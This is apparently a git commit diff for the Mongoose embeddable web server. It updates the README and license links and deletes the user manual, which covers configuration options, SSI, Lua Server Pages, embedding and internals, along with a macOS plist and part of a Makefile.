added lsp link

Exposing Lua support functions

LICENSE

@@ -5,7 +5,7 @@ All rights reserved
 This code is dual-licensed: you can redistribute it and/or modify
 it under the terms of the GNU General Public License version 2 as
 published by the Free Software Foundation. For the terms of this
-license, see <http://www.gnu.org/licenses/>.
+license, see <http://www.gnu.org/licenses>.
 
 You are free to use this code under the terms of the GNU General
 Public License, but WITHOUT ANY WARRANTY; without even the implied
@@ -13,4 +13,4 @@ warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
 See the GNU General Public License for more details.
 
 Alternatively, you can license this code under a commercial
-license, as set out in <http://cesanta.com/products.html>.
+license, as set out in <http://cesanta.com/>.

README.md

@@ -1,57 +1,63 @@
-# Project Mission
+# Mongoose Web Server
 
-Project mission is to provide easy to use, powerful, embeddable web server.
+Mongoose is easy to use, powerful, embeddable web server.
+   * [Mailing list](http://groups.google.com/group/mongoose-users)
+   * [Downloads & Documentation](http://cesanta.com/mongoose.shtml)
+    * [How to use Lua Server Pages](http://cesanta.com/docs/Lua.shtml)
+    * [How to create basic website with Mongoose](http://cesanta.com/docs/BasicWebsite.shtml)
+    * [How to create PHP website with Mongoose](http://cesanta.com/docs/PhpWebsite.shtml)
+    * [Embedding Guide](http://cesanta.com/docs/Embed.shtml)
 
-# Downloads
+# Features
 
-Sources, binaries and bundles are available for download at
+- Works on Windows, Mac, UNIX/Linux, iPhone, Android, and many other platforms
-[mongoose downloads](http://cesanta.com/downloads.html).
+- CGI, SSI, SSL, Digest auth, Websocket, WEbDAV, Resumed download, URL rewrite, file blacklist, Custom error pages, Virtual hosts, IP-based ACL, Windows service
-
+- Scripting and database support ([Lua](http://lua.org) +
-# Overview
+[Sqlite](http://sqlite.org), see
-
+[dirscan.lp](https://github.com/cesanta/mongoose/blob/master/examples/lua/dirscan.lp) ),
-Mongoose keeps the balance between functionality and
-simplicity by carefully selected list of features:
-
-- Works on Windows, Mac, UNIX, iPhone, Android, and many other platforms
-- Scripting and database support (Lua Server Pages + Sqlite, see
-  [page.lp](https://github.com/valenok/mongoose/blob/master/test/page.lp) ),
   which provides ready to go, powerful web development platform in
-  one single-click executable with **no dependencies**: forget LAMP!
+  one single-click executable with no dependencies
-- Support for CGI, SSL, SSI, Digest (MD5) authorization, Websocket, WEbDAV
+- Simple and clean
-- Resumed download, URL rewrite, file blacklist, IP-based ACL, Windows service
+  [embedding API](https://github.com/cesanta/mongoose/blob/master/mongoose.h).
-- Download speed limit based on client subnet or URI pattern
-- Simple and clean embedding API,
-  [mongoose.h](https://github.com/valenok/mongoose/blob/master/mongoose.h).
   The source is in single
-  [mongoose.c](https://github.com/valenok/mongoose/blob/master/mongoose.c) file
+  [mongoose.c](https://github.com/cesanta/mongoose/blob/master/mongoose.c) file
-  to make things easy. Embedding examples:
+  to make embedding easy
-  [hello.c](https://github.com/valenok/mongoose/blob/master/examples/hello.c),
+- Extremely lightweight, has a core of under 40kB and tiny runtime footprint
-  [post.c](https://github.com/valenok/mongoose/blob/master/examples/post.c),
+- Asyncronouns, non-blocking core supporting single- or multi-threaded usage
-  [upload.c](https://github.com/valenok/mongoose/blob/master/examples/upload.c),
+- On the market since 2004, stable, mature and tested,
-  [websocket.c](https://github.com/valenok/mongoose/blob/master/examples/websocket.c)
+  has several man-years invested in continuous improvement and refinement
-- HTTP client capable of sending arbitrary HTTP/HTTPS requests
+- Professional support and consultancy available from
-- [User Manual](https://github.com/valenok/mongoose/blob/master/UserManual.md)
+[Cesanta Software](http://cesanta.com), developer of Mongoose
 
-Note that Windows and MacOS binaries have following 3rd party software
+# Acknowledgements
-compiled in:
-  <a href="http://wolfssl.com">WolfSSL lightweight SSL library</a>,
-  <a href="http://sqlite.org">SQLite embedded database</a>,
-  <a href="http://lua.org">Lua embedded scripting engine</a>.
 
-Questions can be asked at
+Mongoose made better thanks to the contribution of following people:
-[mongoose-users@googlegroups.com](http://groups.google.com/group/mongoose-users)
-mailing list.
 
-[![&nbsp;](https://cruel-carlota.pagodabox.com/2a613890c1f4b60e5919a9c1dd3caca2 "githalytics.com")](http://githalytics.com/valenok/mongoose)
+Arnout Vandecappelle, Benoît Amiaux, Boris Pek, Cody Hanson, Colin Leitner,
+Daniel Oaks, Eric Bakan, Erik Oomen, Filipp Kovalev, Ger Hobbelt,
+Hendrik Polczynski, Igor Okulist, Jay, Joe Mucchiello, John Safranek,
+José Miguel Gonçalves, Shueng Chuan, Katerina Blinova, Konstantin Sorokin,
+Marin Atanasov, Matt Healy, Mitch Hendrickson, Nigel Stewart, Pavel Khlebovich,
+Sebastian Reinhard, Stefan Doehla, abadc0de, nullable.type,
+T.Barmann, D.Hughes, J.C.Sloan, R.Romeo, L.E.Spencer, S.Kotay, R.M.Shorter,
+W.Mar, J.Wilander, Santa from Memphis, S.Davies, C.Beck,
+O.M.Vilhunen, C.Radik, G.Woodcock, M.Szczepkowski,
+Eternal Lands Dev Team, T.Tollet, C.Tangerino, G.Karsai, A.Bourgett,
+C.Blakemore, D.Fonaryov, T.Andrle, O.IJsselmuiden, R.Womack, M.Tomlinson,
+A.Slåttå, L.Farrell, J.D.P.Ballestero, V.Albaev, B.Harker, T.Scheffel, H.Klein,
+R.Merit, T.Bennett, H.Solis, A.Zincenko, M.S., S.Krul, K.Cooke, S.McCallum,
+F.Morenius, and 10 others.
 
+# Licensing
 
-# License
+Mongoose is released under
+[GNU GPL v.2](http://www.gnu.org/licenses/old-licenses/gpl-2.0.html).
+Businesses have an option to get non-restrictive, royalty-free commercial
+license and professional support from
+[Cesanta Software](http://cesanta.com).
 
-Mongoose is dual-licensed. It is available under the terms of
+[Frozen JSON parser](https://github.com/cesanta/frozen),
-[GNU GPL v.2](http://www.gnu.org/licenses/old-licenses/gpl-2.0.html) license
+[Super Light Regular Expression library](https://github.com/cesanta/slre),
-license for free, or under the terms of standard commercial license provided
+[Super Light DNS Resolver](https://github.com/cesanta/sldr)
-by [Cesanta Software](http://cesanta.com).
+are other projects by Cesanta Software, developed with the same philosophy
-
-[Super Light Regular Expression library](https://github.com/cesanta/slre) is
-another project by Cesanta Software, developed with the same philosophy
 of functionality and simplicity.

UserManual.md

@@ -1,547 +0,0 @@
-# Overview
-
-Mongoose is small and easy to use web server. It is self-contained, and does
-not require any external software to run.
-
-On Windows, mongoose iconifies itself to the system tray icon when started.
-Right-click on the icon pops up a menu, where it is possible to stop
-mongoose, or configure it, or install it as Windows service. The easiest way
-to share a folder on Windows is to copy `mongoose.exe` to a folder,
-double-click the exe, and launch a browser at
-[http://localhost:8080](http://localhost:8080). Note that 'localhost' should
-be changed to a machine's name if a folder is accessed from other computer.
-
-On UNIX and Mac, mongoose is a command line utility. Running `mongoose` in
-terminal, optionally followed by configuration parameters
-(`mongoose [OPTIONS]`) or configuration file name
-(`mongoose [config_file_name]`) starts the
-web server. Mongoose does not detach from terminal. Pressing `Ctrl-C` keys
-would stop the server.
-
-When started, mongoose first searches for the configuration file.
-If configuration file is specified explicitly in the command line, i.e.
-`mongoose path_to_config_file`, then specified configuration file is used.
-Otherwise, mongoose would search for file `mongoose.conf` in the same directory
-where binary is located, and use it. Configuration file can be absent.
-
-
-Configuration file is a sequence of lines, each line containing
-command line argument name and it's value. Empty lines, and lines beginning
-with `#`, are ignored. Here is the example of `mongoose.conf` file:
-
-    document_root c:\www
-    listening_ports 8080,8043s
-    ssl_certificate c:\mongoose\ssl_cert.pem
-
-When configuration file is processed, mongoose process command line arguments,
-if they are specified. Command line arguments therefore can override
-configuration file settings. Command line arguments must start with `-`.
-For example, if `mongoose.conf` has line
-`document_root /var/www`, and mongoose has been started as
-`mongoose -document_root /etc`, then `/etc` directory will be served as
-document root, because command line options take priority over
-configuration file. Configuration options section below provide a good
-overview of Mongoose features.
-
-Note that configuration options on the command line must start with `-`,
-but their names are the same as in the config file. All option names are
-listed in the next section. Thus, the following two setups are equivalent:
-
-    # Using command line arguments
-    $ mongoose -listening_ports 1234 -document_root /var/www
-
-    # Using config file
-    $ cat mongoose.conf
-    listening_ports 1234
-    document_root /var/www
-    $ mongoose
-
-Mongoose can also be used to modify `.htpasswd` passwords file:
-
-    mongoose -A <htpasswd_file> <realm> <user> <passwd>
-
-Unlike other web servers, mongoose does not require CGI scripts be located in
-a special directory. CGI scripts can be anywhere. CGI (and SSI) files are
-recognized by the file name pattern. Mongoose uses shell-like glob
-patterns. Pattern match starts at the beginning of the string, so essentially
-patterns are prefix patterns. Syntax is as follows:
-
-     **      Matches everything
-     *       Matches everything but slash character, '/'
-     ?       Matches any character
-     $       Matches the end of the string
-     |       Matches if pattern on the left side or the right side matches.
-
-All other characters in the pattern match themselves. Examples:
-
-    **.cgi$      Any string that ends with .cgi
-    /foo         Any string that begins with /foo
-    **a$|**b$    Any string that ends with a or b
-
-# Configuration Options
-
-Below is a list of configuration options Mongoose understands. Every option
-is followed by it's default value. If default value is not present, then
-it is empty.
-
-### cgi_pattern `**.cgi$|**.pl$|**.php$`
-All files that match `cgi_pattern` are treated as CGI files. Default pattern
-allows CGI files be anywhere. To restrict CGIs to a certain directory,
-use `/path/to/cgi-bin/**.cgi` as pattern. Note that full file path is
-matched against the pattern, not the URI.
-
-### cgi_environment
-Extra environment variables to be passed to the CGI script in
-addition to standard ones. The list must be comma-separated list
-of name=value pairs, like this: `VARIABLE1=VALUE1,VARIABLE2=VALUE2`.
-
-### put\_delete\_auth\_file
-Passwords file for PUT and DELETE requests. Without it, PUT and DELETE requests
-will fail.
-
-### cgi_interpreter
-Path to an executable to use as CGI interpreter for __all__ CGI scripts
-regardless script extension. If this option is not set (which is a default),
-Mongoose looks at first line of a CGI script,
-[shebang line](http://en.wikipedia.org/wiki/Shebang_(Unix\)), for an interpreter.
-
-For example, if both PHP and perl CGIs are used, then
-`#!/path/to/php-cgi.exe` and `#!/path/to/perl.exe` must be first lines of the
-respective CGI scripts. Note that paths should be either full file paths,
-or file paths relative to the current working directory of mongoose server.
-If mongoose is started by mouse double-click on Windows, current working
-directory is a directory where mongoose executable is located.
-
-If all CGIs use the same interpreter, for example they are all PHP, then
-`cgi_interpreter` can be set to the path to `php-cgi.exe` executable and
-shebang line in the CGI scripts can be omitted.
-Note that PHP scripts must use `php-cgi.exe` executable, not `php.exe`.
-
-### protect_uri
-Comma separated list of URI=PATH pairs, specifying that given
-URIs must be protected with respected password files. Paths must be full
-file paths.
-
-### authentication_domain `mydomain.com`
-Authorization realm used in `.htpasswd` authorization.
-
-### ssi_pattern `**.shtml$|**.shtm$`
-All files that match `ssi_pattern` are treated as SSI.
-
-Server Side Includes (SSI) is a simple interpreted server-side scripting
-language which is most commonly used to include the contents of a file into
-a web page. It can be useful when it is desirable to include a common piece
-of code throughout a website, for example, headers and footers.
-
-In order for a webpage to recognize an SSI-enabled HTML file, the filename
-should end with a special extension, by default the extension should be
-either `.shtml` or `.shtm`.
-
-Unknown SSI directives are silently ignored by mongoose. Currently, two SSI
-directives are supported, `<!--#include ...>` and
-`<!--#exec "command">`. Note that `<!--#include ...>` directive supports
-three path specifications:
-
-    <!--#include virtual="path">  Path is relative to web server root
-    <!--#include abspath="path">  Path is absolute or relative to
-                                  web server working dir
-    <!--#include file="path">,    Path is relative to current document
-    <!--#include "path">
-
-The `include` directive may be used to include the contents of a file or the
-result of running a CGI script. The `exec` directive is used to execute a
-command on a server, and show command's output. Example:
-
-    <!--#exec "ls -l" -->
-
-For more information on Server Side Includes, take a look at the Wikipedia:
-[Server Side Includes](http://en.wikipedia.org/wiki/Server_Side_Includes)
-
-### throttle
-Limit download speed for clients.  `throttle` is a comma-separated
-list of key=value pairs, where key could be:
-
-    *                   limit speed for all connections
-    x.x.x.x/mask        limit speed for specified subnet
-    uri_prefix_pattern  limit speed for given URIs
-
-The value is a floating-point number of bytes per second, optionally
-followed by a `k` or `m` character, meaning kilobytes and
-megabytes respectively. A limit of 0 means unlimited rate. The
-last matching rule wins. Examples:
-
-    *=1k,10.0.0.0/8=0   limit all accesses to 1 kilobyte per second,
-                        but give connections from 10.0.0.0/8 subnet
-                        unlimited speed
-
-    /downloads/=5k      limit accesses to all URIs in `/downloads/` to
-                        5 kilobytes per secods. All other accesses are unlimited
-
-### access\_log\_file
-Path to a file for access logs. Either full path, or relative to current
-working directory. If absent (default), then accesses are not logged.
-
-### error\_log\_file
-Path to a file for error logs. Either full path, or relative to current
-working directory. If absent (default), then errors are not logged.
-
-### enable\_directory\_listing `yes`
-Enable directory listing, either `yes` or `no`.
-
-### enable\_keep\_alive `no`
-Enable connection keep alive, either `yes` or `no`.
-
-Experimental feature. Allows clients to reuse TCP connection for
-subsequent HTTP requests, which improves performance.
-For this to work when using request handlers it's important to add the correct
-Content-Length HTTP header for each request. If this is forgotten the client
-will time out.
-
-
-### global\_auth\_file
-Path to a global passwords file, either full path or relative to the current
-working directory. If set, per-directory `.htpasswd` files are ignored,
-and all requests are authorised against that file.
-
-The file has to include the realm set through `authentication_domain` and the password in digest format:
-
-    user:realm:digest
-    test:test.com:ce0220efc2dd2fad6185e1f1af5a4327
-
-(e.g. use [this generator](http://www.askapache.com/online-tools/htpasswd-generator))
-
-### index_files `index.html,index.htm,index.cgi,index.shtml,index.php`
-Comma-separated list of files to be treated as directory index
-files.
-
-### access\_control\_list
-An Access Control List (ACL) allows restrictions to be put on the list of IP
-addresses which have access to the web server. In the case of the Mongoose
-web server, the ACL is a comma separated list of IP subnets, where each
-subnet is prepended by either a `-` or a `+` sign. A plus sign means allow,
-where a minus sign means deny. If a subnet mask is omitted, such as `-1.2.3.4`,
-this means to deny only that single IP address.
-
-Subnet masks may vary from 0 to 32, inclusive. The default setting is to allow
-all accesses. On each request the full list is traversed, and
-the last match wins. Examples:
-
-    -0.0.0.0/0,+192.168/16    deny all acccesses, only allow 192.168/16 subnet
-
-To learn more about subnet masks, see the
-[Wikipedia page on Subnetwork](http://en.wikipedia.org/wiki/Subnetwork)
-
-### extra\_mime\_types
-Extra mime types to recognize, in form `extension1=type1,exten-
-sion2=type2,...`. Extension must include dot.  Example:
-`.cpp=plain/text,.java=plain/text`
-
-### listening_ports `8080`
-Comma-separated list of ports to listen on. If the port is SSL, a
-letter `s` must be appeneded, for example, `80,443s` will open
-port 80 and port 443, and connections on port 443 will be SSL-ed.
-For non-SSL ports, it is allowed to append letter `r`, meaning 'redirect'.
-Redirect ports will redirect all their traffic to the first configured
-SSL port. For example, if `listening_ports` is `80r,443s`, then all
-HTTP traffic coming at port 80 will be redirected to HTTPS port 443.
-
-It is possible to specify an IP address to bind to. In this case,
-an IP address and a colon must be prepended to the port number.
-For example, to bind to a loopback interface on port 80 and to
-all interfaces on HTTPS port 443, use `127.0.0.1:80,443s`.
-
-### document_root `.`
-A directory to serve. By default, currect directory is served. Current
-directory is commonly referenced as dot (`.`).
-
-### ssl_certificate
-Path to SSL certificate file. This option is only required when at least one
-of the `listening_ports` is SSL. The file must be in PEM format,
-and it must have both private key and certificate, see for example
-[ssl_cert.pem](https://github.com/valenok/mongoose/blob/master/build/ssl_cert.pem)
-
-### num_threads `50`
-Number of worker threads. Mongoose handles each incoming connection in a
-separate thread. Therefore, the value of this option is effectively a number
-of concurrent HTTP connections Mongoose can handle.
-
-### run\_as\_user
-Switch to given user credentials after startup. Usually, this option is
-required when mongoose needs to bind on privileged port on UNIX. To do
-that, mongoose needs to be started as root. But running as root is a bad idea,
-therefore this option can be used to drop privileges. Example:
-
-    mongoose -listening_ports 80 -run_as_user nobody
-
-### request\_timeout\_ms `30000`
-Timeout for network read and network write operations, in milliseconds.
-If client intends to keep long-running connection, either increase this value
-or use keep-alive messages.
-
-
-### url\_rewrite\_patterns
-Comma-separated list of URL rewrites in the form of
-`uri_pattern=file_or_directory_path`. When Mongoose receives the request,
-it constructs the file name to show by combining `document_root` and the URI.
-However, if the rewrite option is used and `uri_pattern` matches the
-requested URI, then `document_root` is ignored. Insted,
-`file_or_directory_path` is used, which should be a full path name or
-a path relative to the web server's current working directory. Note that
-`uri_pattern`, as all mongoose patterns, is a prefix pattern.
-
-This makes it possible to serve many directories outside from `document_root`,
-redirect all requests to scripts, and do other tricky things. For example,
-to redirect all accesses to `.doc` files to a special script, do:
-
-    mongoose -url_rewrite_patterns **.doc$=/path/to/cgi-bin/handle_doc.cgi
-
-Or, to imitate user home directories support, do:
-
-    mongoose -url_rewrite_patterns /~joe/=/home/joe/,/~bill=/home/bill/
-
-### hide\_files\_patterns
-A pattern for the files to hide. Files that match the pattern will not
-show up in directory listing and return `404 Not Found` if requested. Pattern
-must be for a file name only, not including directory name. Example:
-
-    mongoose -hide_files_patterns secret.txt|even_more_secret.txt
-
-# Lua Server Pages
-Pre-built Windows and Mac mongoose binaries have built-in Lua Server Pages
-support. That means it is possible to write PHP-like scripts with mongoose,
-using Lua programming language instead of PHP. Lua is known
-for it's speed and small size. Mongoose uses Lua version 5.2.1, the
-documentation for it can be found at
-[Lua 5.2 reference manual](http://www.lua.org/manual/5.2/).
-
-To create a Lua Page, make sure a file has `.lp` extension. For example,
-let's say it is going to be `my_page.lp`. The contents of the file, just like
-with PHP, is HTML with embedded Lua code. Lua code must be enclosed in
-`<?  ?>` blocks, and can appear anywhere on the page. For example, to
-print current weekday name, one can write:
-
-    <p>
-      <span>Today is:</span>
-      <? mg.write(os.date("%A")) ?>
-    </p>
-
-Note that this example uses function `mg.write()`, which prints data to the
-web page. Using function `mg.write()` is the way to generate web content from
-inside Lua code. In addition to `mg.write()`, all standard library functions
-are accessible from the Lua code (please check reference manual for details),
-and also information about the request is available in `mg.request_info` object,
-like request method, all headers, etcetera. Please refer to
-`struct mg_request_info` definition in
-[mongoose.h](https://github.com/valenok/mongoose/blob/master/mongoose.h)
-to see what kind of information is present in `mg.request_info` object. Also,
-[page.lp](https://github.com/valenok/mongoose/blob/master/test/page.lp) and
-[prime_numbers.lp](https://github.com/valenok/mongoose/blob/master/examples/lua/prime_numbers.lp)
-contains some example code that uses `request_info` and other functions(form submitting for example).
-
-Mongoose exports the following to the Lua server page:
-
-    mg.read()         -- reads a chunk from POST data, returns it as a string
-    mg.write(str)     -- writes string to the client
-    mg.include(path)  -- sources another Lua file
-    mg.redirect(uri)  -- internal redirect to a given URI
-    mg.onerror(msg)   -- error handler, can be overridden
-    mg.version        -- a string that holds Mongoose version
-    mg.request_info   -- a table with request information
-
-    -- Connect to the remote TCP server. This function is an implementation
-    -- of simple socket interface. It returns a socket object with three
-    -- methods: send, recv, close, which are synchronous (blocking).
-    -- connect() throws an exception on connection error.
-    connect(host, port, use_ssl)
-
-    -- Example of using connect() interface:
-    local host = 'code.google.com'  -- IP address or domain name
-    local ok, sock = pcall(connect, host, 80, 1)
-    if ok then
-      sock:send('GET /p/mongoose/ HTTP/1.0\r\n' ..
-                'Host: ' .. host .. '\r\n\r\n')
-      local reply = sock:recv()
-      sock:close()
-      -- reply now contains the web page https://code.google.com/p/mongoose
-    end
-
-
-**IMPORTANT: Mongoose does not send HTTP headers for Lua pages. Therefore,
-every Lua Page must begin with HTTP reply line and headers**, like this:
-
-    <? print('HTTP/1.0 200 OK\r\nContent-Type: text/html\r\n\r\n') ?>
-    <html><body>
-      ... the rest of the web page ...
-
-To serve Lua Page, mongoose creates Lua context. That context is used for
-all Lua blocks within the page. That means, all Lua blocks on the same page
-share the same context. If one block defines a variable, for example, that
-variable is visible in the block that follows.
-
-# Common Problems
-- PHP doesn't work - getting empty page, or 'File not found' error. The
-  reason for that is wrong paths to the interpreter. Remember that with PHP,
-  correct interpreter is `php-cgi.exe` (`php-cgi` on UNIX). Solution: specify
-  full path to the PHP interpreter, e.g.:
-    `mongoose -cgi_interpreter /full/path/to/php-cgi`
-
-- Mongoose fails to start. If Mongoose exits immediately when run, this
-  usually indicates a syntax error in the configuration file
-  (named `mongoose.conf` by default) or the command-line arguments.
-  Syntax checking is omitted from Mongoose to keep its size low. However,
-  the Manual should be of help. Note: the syntax changes from time to time,
-  so updating the config file might be necessary after executable update.
-
-- Embedding with OpenSSL on Windows might fail because of calling convention.
-  To force Mongoose to use `__stdcall` convention, add `/Gz` compilation
-  flag in Visual Studio compiler.
-
-# Embedding
-Embedding Mongoose is easy. Copy
-[mongoose.c](https://github.com/valenok/mongoose/blob/master/mongoose.c) and
-[mongoose.h](https://github.com/valenok/mongoose/blob/master/mongoose.h)
-to your application's source tree and include them in the build. For
-example, your application's code lives in C file `my_app.c`, then on UNIX
-this command embeds Mongoose:
-
-    $ ls
-    my_app.c mongoose.c mongoose.h
-    $ gcc my_app.c mongoose.c -o my_app -ldl -pthread
-
-Somewhere in the application code, call `mg_start()` to start the server.
-Pass configuration options and event handlers to `mg_start()`.
-Mongoose then calls handlers when certain events happen.
-For example, when new request arrives, Mongoose calls `begin_request`
-handler function to let user handle the request. In the handler, user code
-can get all information about the request -- parsed headers, etcetera.
-
-Mongoose API is logically divided in three categories: server setup/shutdown
-functions, functions to be used by user-written event handlers, and
-convenience utility functions.
-
-### Starting and stopping embedded web server
-To start the embedded web server, call `mg_start()`. To stop it, call
-`mg_stop()`.
-
-    // This structure needs to be passed to mg_start(), to let mongoose know
-    // which callbacks to invoke. For detailed description, see
-    // https://github.com/valenok/mongoose/blob/master/UserManual.md
-    struct mg_callbacks {
-      int  (*begin_request)(struct mg_connection *);
-      void (*end_request)(const struct mg_connection *, int reply_status_code);
-      int  (*log_message)(const struct mg_connection *, const char *message);
-      int  (*init_ssl)(void *ssl_context);
-      int (*websocket_connect)(const struct mg_connection *);
-      void (*websocket_ready)(struct mg_connection *);
-      int  (*websocket_data)(struct mg_connection *);
-      const char * (*open_file)(const struct mg_connection *,
-                                 const char *path, size_t *data_len);
-      void (*init_lua)(struct mg_connection *, void *lua_context);
-      void (*upload)(struct mg_connection *, const char *file_name);
-      int  (*http_error)(struct mg_connection *, int status);
-    };
-
-[hello.c](https://github.com/valenok/mongoose/blob/master/examples/hello.c)
-provides a minimalistic example.
-
-Common pattern is to implement `begin_request` callback, and serve static files
-from memory, and/or construct dynamic replies on the fly. Here is
-my [embed.c](https://gist.github.com/valenok/4714740) gist
-that shows how to easily any data can be embedded
-directly into the executable. If such data needs to be encrypted, then
-encrypted database or encryption dongles would be a better choice.
-
-# Build on Android
-
-This is a small guide to help you run mongoose on Android. Currently it is
-tested on the HTC Wildfire. If you have managed to run it on other devices
-as well, please comment or drop an email in the mailing list.
-Note : You dont need root access to run mongoose on Android.
-
-- Download the source from the Downloads page.
-- Download the Android NDK from [http://developer.android.com/tools/sdk/ndk/index.html](http://developer.android.com/tools/sdk/ndk/index.html)
-- Run `/path-to-ndk/ndk-build -C /path-to-mongoose/build`
-  That should generate mongoose/lib/armeabi/mongoose
-- Using the adb tool (you need to have Android SDK installed for that),
-  push the generated mongoose binary to `/data/local` folder on device.
-- From adb shell, navigate to `/data/local` and execute `./mongoose`.
-- To test if the server is running fine, visit your web-browser and
-  navigate to `http://127.0.0.1:8080` You should see the `Index of /` page.
-
-![screenshot](https://a248.e.akamai.net/camo.github.com/b88428bf009a2b6141000937ab684e04cc8586af/687474703a2f2f692e696d6775722e636f6d2f62676f6b702e706e67)
-
-
-Notes:
-
-- `jni` stands for Java Native Interface. Read up on Android NDK if you want
-  to know how to interact with the native C functions of mongoose in Android
-  Java applications.
-- TODO: A Java application that interacts with the native binary or a
-  shared library.
-
-# Mongoose internals
-
-Mongoose is multithreaded web server. `mg_start()` function allocates
-web server context (`struct mg_context`), which holds all information
-about web server instance:
-
-- configuration options. Note that mongoose makes internal copies of
-  passed options.
-- SSL context, if any
-- user-defined callbacks
-- opened listening sockets
-- a queue for accepted sockets
-- mutexes and condition variables for inter-thread synchronization
-
-When `mg_start()` returns, all initialization is quaranteed to be complete
-(e.g. listening ports are opened, SSL is initialized, etc). `mg_start()` starts
-two threads: a master thread, that accepts new connections, and several
-worker threads, that process accepted connections. The number of worker threads
-is configurable via `num_threads` configuration option. That number puts a
-limit on number of simultaneous requests that can be handled by mongoose.
-
-When master thread accepts new connection, a new accepted socket (described by
-`struct socket`) it placed into the accepted sockets queue,
-which has size of 20 (see [code](https://github.com/valenok/mongoose/blob/3892e0199e6ca9613b160535d9d107ede09daa43/mongoose.c#L486)). Any idle worker thread
-can grab accepted sockets from that queue. If all worker threads are busy,
-master thread can accept and queue up to 20 more TCP connections,
-filling up the queue.
-In the attempt to queue next accepted connection, master thread blocks
-until there is space in a queue. When master thread is blocked on a
-full queue, TCP layer in OS can also queue incoming connection.
-The number is limited by the `listen()` call parameter on listening socket,
-which is `SOMAXCONN` in case of Mongoose, and depends on a platform.
-
-Worker threads are running in an infinite loop, which in simplified form
-looks something like this:
-
-    static void *worker_thread() {
-      while (consume_socket()) {
-        process_new_connection();
-      }
-    }
-
-Function `consume_socket()` gets new accepted socket from the mongoose socket
-queue, atomically removing it from the queue. If the queue is empty,
-`consume_socket()` blocks and waits until new sockets are placed in a queue
-by the master thread. `process_new_connection()` actually processes the
-connection, i.e. reads the request, parses it, and performs appropriate action
-depending on a parsed request.
-
-Master thread uses `poll()` and `accept()` to accept new connections on
-listening sockets. `poll()` is used to avoid `FD_SETSIZE` limitation of
-`select()`. Since there are only a few listening sockets, there is no reason
-to use hi-performance alternatives like `epoll()` or `kqueue()`. Worker
-threads use blocking IO on accepted sockets for reading and writing data.
-All accepted sockets have `SO_RCVTIMEO` and `SO_SNDTIMEO` socket options set
-(controlled by `request_timeout_ms` mongoose option, 30 seconds default) which
-specify read/write timeout on client connection.
-
-# Other Resources
-- Presentation made by Arnout Vandecappelle at FOSDEM 2011 on 2011-02-06
-  in Brussels, Belgium, called
-  "Creating secure web based user interfaces for Embedded Devices"
-  ([pdf](http://mind.be/content/110206_Web-ui.pdf) |
-   [odp](http://mind.be/content/110206_Web-ui.odp))
-- Linux Journal article by Michel J.Hammel, 2010-04-01, called
-  [Mongoose: an Embeddable Web Server in C](http://www.linuxjournal.com/article/10680)

build/Info.plist

@@ -1,20 +0,0 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
-<plist version="1.0">
-<dict>
-  <key>CFBundleExecutable</key> <string>Mongoose</string>
-  <key>CFBundlePackageType</key> <string>APPL</string>
-  <key>CFBundleTypeRole</key> <string>None</string>
-  <key>CFBundleIconFiles</key> <array>
-    <string>mongoose_16x16.png</string>
-    <string>mongoose_22x22.png</string>
-    <string>mongoose_32x32.png</string>
-    <string>mongoose_64x64.png</string>
-  </array>
-  <key>LSUIElement</key> <true/>
-  <key>RunAtLoad</key> <true/>
-  <key>Label</key> <string>com.kolkin.mongoose</string>
-  <key>ProgramArguments</key> <array> </array>
-  <key>KeepAlive</key> <true/>
-</dict>
-</plist>

build/Makefile

@@ -1,218 +0,0 @@
-# This Makefile is part of Mongoose web server project,
-# https://github.com/valenok/mongoose
-#
-# This Makefile is GNU make compatible. You can get GNU Make from
-# http://gnuwin32.sourceforge.net/packages/make.htm
-#
-# Example custom build:
-# COPT="-g -O0 -DNO_SSL_DL -DUSE_LUA -llua -lcrypto -lssl" make linux
-#
-# Flags are:
-# -DHAVE_MD5              - use system md5 library (-2kb)
-# -DNDEBUG                - strip off all debug code (-5kb)
-# -DDEBUG                 - build debug version (very noisy) (+7kb)
-# -DNO_CGI                - disable CGI support (-5kb)
-# -DNO_SSL                - disable SSL functionality (-2kb)
-# -DNO_SSL_DL             - link against system libssl library (-1kb)
-# -DCONFIG_FILE=\"file\"  - use `file' as the default config file
-# -DSSL_LIB=\"libssl.so.<version>\"   - use system versioned SSL shared object
-# -DCRYPTO_LIB=\"libcrypto.so.<version>\" - use system versioned CRYPTO so
-# -DUSE_LUA               - embed Lua in Mongoose (+100kb)
-
-PROG        = mongoose
-CFLAGS      = -std=c99 -O2 -W -Wall -pedantic -pthread -pipe -I.. $(COPT)
-
-# To build with Lua, download and unzip Lua 5.2.1 source code into the
-# mongoose directory, and then add $(LUA_SOURCES) to CFLAGS
-LUA         = ../lua-5.2.1/src
-LUA_FLAGS   = -DLUA_COMPAT_ALL
-LUA_SOURCES = $(LUA)/lapi.c $(LUA)/lcode.c $(LUA)/lctype.c \
-              $(LUA)/ldebug.c $(LUA)/ldo.c $(LUA)/ldump.c \
-              $(LUA)/lfunc.c $(LUA)/lgc.c $(LUA)/llex.c \
-              $(LUA)/lmem.c $(LUA)/lobject.c $(LUA)/lopcodes.c \
-              $(LUA)/lparser.c $(LUA)/lstate.c $(LUA)/lstring.c \
-              $(LUA)/ltable.c $(LUA)/ltm.c $(LUA)/lundump.c \
-              $(LUA)/lvm.c $(LUA)/lzio.c $(LUA)/lauxlib.c \
-              $(LUA)/lbaselib.c $(LUA)/lbitlib.c $(LUA)/lcorolib.c \
-              $(LUA)/ldblib.c $(LUA)/liolib.c $(LUA)/lmathlib.c \
-              $(LUA)/loslib.c $(LUA)/lstrlib.c $(LUA)/ltablib.c \
-              $(LUA)/loadlib.c $(LUA)/linit.c
-LUA_HEADERS = $(LUA)/llimits.h $(LUA)/lobject.h $(LUA)/lapi.h $(LUA)/lzio.h \
-              $(LUA)/ldo.h $(LUA)/ltm.h $(LUA)/lstate.h $(LUA)/lgc.h \
-              $(LUA)/lvm.h $(LUA)/ltable.h $(LUA)/lstring.h $(LUA)/lfunc.h \
-              $(LUA)/lundump.h $(LUA)/ldebug.h $(LUA)/lopcodes.h $(LUA)/llex.h \
-              $(LUA)/lparser.h $(LUA)/lcode.h $(LUA)/lmem.h $(LUA)/lctype.h
-LUA_WINOBJS = $(LUA_SOURCES:%.c=%.obj)
-
-ifneq ($(OS), Windows_NT)
-  LUA_FLAGS += -DLUA_USE_DLOPEN
-endif
-
-lua_5.2.1.c: lua_5.2.1.h
-	(echo '#define LUA_CORE' ; \
